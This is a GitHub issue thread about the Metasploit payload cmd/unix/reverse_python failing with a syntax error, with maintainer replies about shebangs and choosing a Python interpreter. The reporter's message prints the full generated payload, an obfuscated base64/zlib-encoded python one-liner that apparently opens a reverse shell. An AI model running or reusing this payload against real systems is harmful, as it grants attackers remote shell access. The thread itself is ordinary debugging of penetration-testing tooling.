Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Payload cmd/unix/reverse_python gives "Syntax error" on recent Linux systems #19811

Open
q2dg opened this issue Jan 17, 2025 · 3 comments
Open
Labels

Comments

@q2dg
Copy link

q2dg commented Jan 17, 2025

For instance, doing this in Fedora 40 (msfvenom -p cmd/unix/reverse_python -f raw -o jejeje) I get this when I run python jejeje:

File "/home/q2dg/jejeje", line 1
python -c "exec(import('zlib').decompress(import('base64').b64decode(import('codecs').getencoder('utf-8')('eNrLzC3ILypRKM5Pzk4tUQABHSAuLk0qKMpPTi0uhgvlQ5gKCtYQKiO/uMRWydDSSM/QzELPEEiaK6GqABlsawIEqMLFthDL9CCUBpTn6Bbv6ecagnACRDjY39k7PjgkyNXRVxPNHL3k/Ly81OQSDQ2QW+AaQdZqoqnNL9ZLKS0w0ijWS8vMSc3L19CEKzcgXqkh8UqN0JQW2CKCVC85MSdHQ0k/KTNPvzhDSRMAuPpfLA==')[0])))"
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
SyntaxError: invalid syntax

Thanks

@adfoster-r7
Copy link
Contributor

I believe you you just need to run chmod +x ./jejeje ./jejeje

@q2dg
Copy link
Author

q2dg commented Jan 20, 2025

Yes, you're right: I though payload had the shebang inside but it hasn't.
Anyway, in Ubuntu by default there's no "python" executable but the "python3" executable, so your solution doesn't work either, Making the needed link between them, however, doesn't work neither because I get another strange error about strings handling (maybe payload is in Python2???).
What is clear is this payload needs a lot more care.

@adfoster-r7
Copy link
Contributor

yeah we'd need something similiar to this most likely

command = [datastore['Shell'], '-c', "exec $(which python || which python3 || which python2) -c #{Shellwords.escape(cmd)}"]

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
Status: No status
Development

No branches or pull requests

2 participants